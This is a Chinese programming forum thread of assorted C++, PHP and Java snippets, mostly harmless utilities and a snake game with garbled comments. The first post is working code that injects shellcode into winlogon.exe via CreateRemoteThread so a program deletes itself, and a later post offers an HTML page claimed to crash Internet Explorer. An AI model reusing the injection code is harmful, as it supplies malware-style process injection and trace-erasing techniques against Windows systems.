社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 银行

  • 65037阅读
  • 244回复

C++/PHP小程序代码

级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
windows下自己删除自己


#include
#include
#include

__declspec(naked) DWORD WINAPI Start_(LPVOID lpThreadParameter)
{
__asm 
{  
call    $+5
sub     [esp],5                 ; // _code_start_  
mov     ebp,[esp+8]             ; // hHandle
push    [ebp-4]
push    INFINITE
push    [ebp-4]

call    [ebp-8]            ; // WaitForSingleObject
call    [ebp-12]            ; // CloseHandle

push    ebp    ; // lpFileName
call    [ebp-16]            ; // DeleteFileA           

pop     eax
push    EXIT_SUCCESS          
sub     esp,4                   ; // nothing

push    MEM_RELEASE
push    0  
push    eax                     ; // _code_start_   

push    [ebp-20]            ; // ExitThread
mov     eax,[ebp-24]
jmp     eax            ; // VirtualFree  
}
}

BYTE code[] ={
232,0,0,0,0,128,44,36,5,139,108,36,8,255,117,
252,106,255,255,117,252,255,85,248,255,85,244,
85,255,85,240,88,106,0,131,236,4,104,0,
128,0,0,106,0,80,255,117,236,139,69,232,255,224
};
#include
void DeleteMe()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
ZeroMemory(&tp,sizeof tp);
HANDLE hProcess = GetCurrentProcess();

OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),NULL,NULL);
CloseHandle(hToken);

///////////////////////////////////////////////////////////////////////

CHAR szFileName[MAX_PATH] = {'\0'};
GetModuleFileNameA(NULL, szFileName, MAX_PATH);

DWORD  dwProcessID   = 0;
PROCESSENTRY32W pe32 = { sizeof( PROCESSENTRY32W ) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32FirstW(hSnapshot, &pe32);
do
{
if (0 == lstrcmpiW(pe32.szExeFile, L"winlogon.exe"))
{
dwProcessID = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe32));

CloseHandle(hSnapshot);

//////////////////////////////////////////////////////////////////////

HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,dwProcessID);
HANDLE h= NULL;
DuplicateHandle(hProcess,hProcess,hTargetProcess,&h,0,FALSE,DUPLICATE_SAME_ACCESS);
const SIZE_T dwSize = 4096;
const DWORD codeLen = dwSize - MAX_PATH - sizeof(HANDLE);


PBYTE lpRemoteBuf = (PBYTE)VirtualAllocEx(hTargetProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PBYTE pLocalBuf =(PBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

HMODULE x =GetModuleHandleA("kernel32") ;
memcpy(pLocalBuf,code,codeLen);
*(PHANDLE(pLocalBuf+codeLen)) = h;
*((FARPROC*)(pLocalBuf+codeLen- 4))  =GetProcAddress(x,"WaitForSingleObject");
*((FARPROC*)(pLocalBuf+codeLen- 8))  =GetProcAddress(x,"CloseHandle");
*((FARPROC*)(pLocalBuf+codeLen-12))  =GetProcAddress(x,"DeleteFileA");
*((FARPROC*)(pLocalBuf+codeLen-16))  =GetProcAddress(x,"ExitThread");
*((FARPROC*)(pLocalBuf+codeLen-20))  =GetProcAddress(x,"VirtualFree");
memcpy(pLocalBuf+codeLen+4,szFileName,MAX_PATH);
WriteProcessMemory(hTargetProcess, lpRemoteBuf, pLocalBuf,dwSize,0);
VirtualFree(pLocalBuf, 0, MEM_RELEASE);

HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)lpRemoteBuf,
(LPVOID)(lpRemoteBuf + codeLen + sizeof(HANDLE) ),0,0);

CloseHandle(hThread);
CloseHandle(hTargetProcess);



int main()
{
DeleteMe();
}
关键词: C++ 编程 php
QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 沙发  发表于: 2011-05-03
GBK 和 Unicode 互转
/**
 * GBK->UNICODE
 */
void CGBK2UnicodeDlg::OnConvertText() 
{
//我的视图      鎴戠殑瑙嗗浘
UpdateData(TRUE);

//1.转为UNICODE
int wc = MultiByteToWideChar(CP_ACP,0,m_txt_input,m_txt_input.GetLength(),0,0);

wchar_t* wUnicode = new wchar_t[wc+1];
wUnicode[wc] = 0;

MultiByteToWideChar(CP_ACP,0,m_txt_input,m_txt_input.GetLength(),wUnicode,wc);
//2.UNICODE->ANSI
wc = WideCharToMultiByte(CP_UTF8,0,wUnicode,wcslen(wUnicode),0,0,NULL,NULL);
TCHAR* sUnicode = new TCHAR[wc+1];
sUnicode[wc] = 0;

WideCharToMultiByte(CP_UTF8,0,wUnicode,wcslen(wUnicode),sUnicode,wc,NULL,NULL);
SetDlgItemText(IDC_UNICODE_TEXT, sUnicode);

if(sUnicode)
delete[] sUnicode;

GetDlgItem(IDC_GBK_TEXT)->SetFocus();
}

/**
 * UNICODE->GBK
 */
void CGBK2UnicodeDlg::OnReverseText() 
{
UpdateData(TRUE);

int wc = MultiByteToWideChar(CP_UTF8,0,m_txt_input,m_txt_input.GetLength(),0,0);

wchar_t* sUnicode = new wchar_t[wc+1];
sUnicode[wc] = 0;

MultiByteToWideChar(CP_UTF8,0,m_txt_input,m_txt_input.GetLength(),sUnicode,wc);
CString unicode(sUnicode);
SetDlgItemText(IDC_UNICODE_TEXT, unicode);

if(sUnicode)
delete[] sUnicode;

GetDlgItem(IDC_GBK_TEXT)->SetFocus();
}

QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 板凳  发表于: 2011-05-04
经典宏
#include <stdio.h>
#define swap(x,y)\
x=x+y;\
y=x-y;\
x=x-y;
void main()
{
    int x,y;
    printf("Enter x y:");
    scanf("%d%d",&x,&y);
    swap(x,y);
    printf("%d %d",x,y);
    getch();
    return 0;
}
QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 地板  发表于: 2011-05-19
静态库生成动态库
# Default Name
NET_LIB_NAME = net-tools


OBJS    = interface.o sockets.o route_lib.o


CFLAGS += -fPIC
SONAME=libnet-tools.so


.SUFFIXES: .a .so


all:    lib$(NET_LIB_NAME).a   lib$(NET_LIB_NAME).so


lib$(NET_LIB_NAME).a:  $(OBJS)
            @echo Building $@
            @rm -f $@
            @$(AR) rcs $@ $(OBJS)


.a.so:;
    $(CC) -o $@ -shared -Wl,--whole-archive -Wl,--soname -Wl,$(SONAME) -nostdlib -nostartfiles $<


clean:
        rm -f *.o lib$(NET_LIB_NAME).a lib$(NET_LIB_NAME).so


QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 4楼 发表于: 2011-05-19
VC ”汉语“编程
仅为娱乐。。。



//  注意:本源文件需用utf-8编码,并用vc2008编译

#include <stdio.h>


#define 如果 if
#define 否则 else
#define 无 void
#define 空 NULL
#define 大于 >
#define 小于 <
#define 等于 ==
#define 整数 int
#define 主函数 main
#define 返回 return
#define 输出 printf
#define 输入 scanf
#define 值为 =


整数 主函数(无)
{
    整数 i 值为 6;
    
    如果 (i 等于 5)
    {
        输出("i 等于5\n");
    }
    否则
    {
        输出("i 不等于5\n");
    }
    
    返回 0;
}



QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 5楼 发表于: 2011-05-19
贪食蛇游戏
下载




#include <graphics.h>
#include <stdlib.h>
#include <conio.h>
#include <time.h>
#include <stdio.h>
#include "snake.h"


int score = 0;
int gamespeed = 100;                //�������ٶ�


static void Init(void);             /*ͼ����*/
static void Close(void);            /*ͼ�ν���*/
static void Game_interface(void);   /*��Ϸ����*/
static void GameOver(void);         /*������Ϸ*/
static void GamePlay(void);         /*��Ϸ���*/
static void PrScore(void);          /*����ɼ�*/


/*������*/
int main(void)
{
     Init();                
     Game_interface();                
     GamePlay();              
     Close();                
     return 0;
}


/*ͼ����*/
static void Init(void)
{
    int gd=9,gm=2;


    initgraph(&gd,&gm," ");
    cleardevice();
}


/* ��ʼ���棬���Ͻ����Ϊ��50��40�������½����Ϊ��610��460����Χǽ */
static void Game_interface(void)
{
     int i;


     setcolor(LIGHTCYAN);                            /*setbkcolor(LIGHTGREEN);*/
     setlinestyle(PS_SOLID,0,1);                    /*��������*/
     for(i=50;i<=600;i+=10)                            /*���߿�*/
     {
         rectangle(i,40,i+10,49);                    /*�ϱ߿�*/
         rectangle(i,451,i+10,460);                    /*�±߿�*/
     }
     for(i=40;i<=450;i+=10)
     {
         rectangle(50,i,59,i+10);                    /*��߿�*/
         rectangle(601,i,610,i+10);                    /*�ұ߿�*/
     }
}


/* ��Ϸ������ */
static void GamePlay(void)
{
     int i;
    
     srand(time(NULL));                                /*���������*/
     food.yes = 1;                                  /*1��ʾ��Ҫ������ʳ��,0��ʾ�Ѿ�����ʳ��*/
     snake.life = 0;                                /*����*/
     snake.direction = 1;                           /*��������*/
     snake.x[0] = 100;
     snake.y[0] = 100;                                
     snake.x[1] = 110;
     snake.y[1] = 100;
     snake.node = 2;                                /*����*/


     PrScore();                                        /*����÷�*/
     while(1)                                        /*�����ظ�����Ϸ,ѹESC�����*/
     {
         while( !kbhit() )                          /*��û�а���������,���Լ��ƶ�*/
         {
             if(food.yes == 1)                      /*��Ҫ������ʳ��*/
             {
                 food.x = rand()%400 + 60;
                 food.y = rand()%350 + 60;
                 while(food.x%10 != 0)              /*ʳ�������ֺ������ʳ���ܹ��������,����ſ������߳Ե�*/
                     food.x++;
                 while(food.y%10 != 0)
                     food.y++;
                 food.yes = 0;                      /*��������ʳ����*/
             }
             if(food.yes == 0)                      /*��������ʳ���˾�Ҫ��ʾ*/
             {
                 setcolor(GREEN);
                 rectangle(food.x,food.y,food.x + 10,food.y - 10);
             }




             for(i=snake.node-1;i>0;i--)          /*�ߵ�ÿ��������ǰ�ƶ�,Ҳ����̰���ߵĹؼ��㷨*/
             {
                 snake.x = snake.x[i-1];
                 snake.y = snake.y[i-1];
             }
             /*1,2,3,4��ʾ��,��,��,���ĸ�����,ͨ������ж����ƶ���ͷ*/
             switch(snake.direction)
             {
                 case 1:
                     snake.x[0] += 10;
                     break;
                 case 2:
                     snake.x[0] -= 10;
                     break;
                 case 3:
                     snake.y[0] -= 10;
                     break;
                 case 4:
                     snake.y[0] += 10;
                     break;
             }
             /* ���ߵĵ��Ľڿ�ʼ�ж��Ƿ�ײ���Լ� */
             for(i=3;i<snake.node;i++)
             {
                 if((snake.x == snake.x[0]) && (snake.y == snake.y[0]))
                 {
                     GameOver();                  /*��ʾʧ��*/
                     snake.life = 1;
                     break;
                 }
             }
             if((snake.x[0] < 55) || (snake.x[0] > 595) || (snake.y[0] < 55) || (snake.y[0] > 455))     /*���Ƿ�ײ��ǽ��*/
             {




                 GameOver();                                            /*������Ϸ����*/
                 snake.life = 1;                                        /*����*/
             }
             if(snake.life == 1)                                        /*���������ж��Ժ�,��������������ѭ�������¿�ʼ*/
                 break;
             if((snake.x[0] == food.x) && (snake.y[0] == food.y))        /*�Ե�ʳ���Ժ�*/
             {
                 setcolor(BLACK);                                        /*�ѻ����ϵ�ʳ�ﶫ��ȥ��*/
                 rectangle(food.x,food.y,food.x+10,food.y-10);
                 snake.x[snake.node] = -20;
                 snake.y[snake.node] = -20;


                 /* �µ�һ���ȷ��ڿ������λ��,�´�ѭ����ȡǰһ�ڵ�λ�� */


                 snake.node++;                        /*�ߵ����峤һ��*/
                 food.yes = 1;                      /*��������Ҫ�����µ�ʳ��*/
                 score += 10;
                 PrScore();                            /*����µ÷�*/
             }
             setcolor(RED);                         /*������*/




             for(i=0;i<snake.node;i++)
                 rectangle(snake.x,snake.y,snake.x+10,snake.y-10);
             Sleep(gamespeed);
             setcolor(BLACK);                        /*�ú�ɫȥ���ߵĵ����һ��*/
             rectangle(snake.x[snake.node-1],snake.y[snake.node-1],
                       snake.x[snake.node-1]+10,snake.y[snake.node-1]-10);
         }        /*endwhile��!kbhit��*/
        
         if(snake.life == 1)                        /*������������ѭ��*/
             break;
        
         key=getch();                          /*���հ���*/
         if (key == ESC) break;                     /*��ESC���˳�*/
        
         switch(key)
         {                                
             case UP:
                 if(snake.direction != 4)           /*�ж��Ƿ����෴�ķ����ƶ�*/
                     snake.direction = 3;
                 break;
             case RIGHT:
                 if(snake.direction != 2)
                     snake.direction = 1;
                 break;
             case LEFT:
                 if(snake.direction != 1)
                     snake.direction = 2;
                 break;
             case DOWN:
                 if(snake.direction != 3)
                     snake.direction = 4;
                 break;
         }


     }/*endwhile(1)*/
}


/*��Ϸ����*/
static void GameOver(void)
{
     cleardevice();
     PrScore();
     setcolor(RED);
     setfont(56,0,"����");
     outtextxy(200,200,"GAME OVER");
     getch();
}


/*����ɼ�*/
static void PrScore(void)
{
     char str[10];


     setfillstyle(YELLOW);
     bar(50,15,220,35);
     setcolor(BROWN);
     setfont(16,0,"����");
     sprintf(str,"score:%d",score);
     outtextxy(55,16,str);
}


static void Close(void)
{
     closegraph();
}


QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 6楼 发表于: 2011-05-24
Google翻译接口(PHP API)
/* Google翻译PHP接口
 * 官成文 2009-03-28
 * http://blog.csdn.net/aprin/
 * 注意:如果翻译文本为UTF-8编码,则要删去mb_convert_encoding函数
 */ 

class Google_API_translator {
 public $url = “http://translate.google.com/translate_t”;
public $text = “”;//翻译文本
public $out = “”; //翻译输出 

function setText($text){
 $this->text = $text;
 } 

function translate() {
 $this->out = “”; 

$gphtml = $this->postPage($this->url, $this->text); 

//提取翻译结果
$out = substr($gphtml, strpos($gphtml, “ 

“));
 $out = substr($out, 29);
 $out = substr($out, 0, strpos($out, “
 
“)); 

$this->out = $out;
 return $this->out;
 } 

function postPage($url, $text) {
 $html =”; 

if($url != “” && $text != “”) {
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_HEADER, 1);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
 curl_setopt($ch, CURLOPT_TIMEOUT, 15); 

/*
 *hl – 界面语言,此处无用。
*langpair – src lang to dest lang
 *ie – urlencode的编码方式?
 *text – 要翻译的文本
*/
 $fields = array(‘hl=zh-CN’, ‘langpair=zh-CN|en’, ‘ie=UTF-8′,’text=’.urlencode(mb_convert_encoding($text, ‘UTF-8′, ‘GB2312′)));
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, implode(‘&’, $fields)); 

$html = curl_exec($ch);
 if(curl_errno($ch)) $html = “”;
curl_close ($ch);
 }
 return $html;
 }
 } 

//just for test
 $g = new Google_API_translator();
 $g->setText(“我爱Java!”);
 $g->translate();
 echo $g->out;
 ?> 

QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 7楼 发表于: 2011-05-24
华为的面试题:用java写一个函数判断字符串中"{"与"}"匹配
用java写一个函数判断字符串中"{"与"}"匹配? 提示:"{"与"}"必须同时出现,"{"必须在"}"前面,允许嵌套

public class T {
public static boolean isMatch(String value) {
int numCount = 0, numMatch = 0;
for (int i=0; null != value && i<value.length(); i++) {
char ch = value.charAt(i);
if (ch == '{') {
numCount ++;
numMatch ++;
} else if (ch == '}') {
numCount --;
}
if (numCount < 0) {
return false;
}
}

return (numMatch > 0 && numCount == 0);
}

public static void main(String args[])  {
System.out.println( "=========must false=====" );
System.out.println( isMatch(null) );
System.out.println( isMatch("") );
System.out.println( isMatch("ddddd") );
System.out.println( isMatch("d{dddd") );
System.out.println( isMatch("dd{}}ddd") );
System.out.println( isMatch("d}dd{dd") );

System.out.println( "=========must true=====" );
System.out.println( isMatch("dd{}ddd") );
System.out.println( isMatch("ddd{{}d}d") );
System.out.println( isMatch("d{d{d}d}d") );
}
}

使用正则表达式的方法


import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class TestCurlyBraces
{

private Pattern pattern = Pattern.compile("[^{}]*(\\{[^{}]*(\\{[^{}]*\\}[^{}]*)*\\}[^{}]*)*[^{}]*");

/**
* @param args
*/
public static void main(String[] args)
{
TestCurlyBraces instance = new TestCurlyBraces();
String input = "asda{asd{fsfsff}sdfab245}2{32}";
instance.match(input);
}

public void match(String input)
{
Matcher match = pattern.matcher(input);
if (match.matches())
System.out.println(match.group());
else
System.out.println("not matched.");
}

}

QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
级别: 管理员
发帖
8532
金币
2762
威望
3231
贡献值
0
元宝
0
只看该作者 8楼 发表于: 2011-05-27
秒杀所有IE版本代码

只需要简单地打开任意文本编辑器,将下面的代码复制进去,然后保存文件,例如SomeFilename.html。

  1. <html><head>
  2. <style type="text/css">
  3. #a {
  4. margin:0 10px 10px;
  5. }
  6. #b {
  7. width:100%;
  8. }
  9. style>
  10. <title>IE Crashertitle>
  11. head>
  12. <body>
  13. <table><tr><td>
  14. <div id="a">
  15. <form id="b">
  16. <input type="text" name="test"/>
  17. <td width="1">
  18. body>html>

然后用Internet Explorer打开它

QQ: 378890364 微信:wwtree(省短信费) 紧急事宜发短信到0061432027638  本站微博:http://t.qq.com/wwtree QQ群:122538123
wfn
级别: 论坛版主
发帖
108
金币
0
威望
0
贡献值
0
元宝
0
只看该作者 9楼 发表于: 2011-05-27
管理员,有个问题想请教一下,关于你上面用的这个代码能起到一什么样的效果呢?
有什么特别的现象发生吗?我试了一下,一片空白,什么现象也没有看到。
支持美国主机!
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容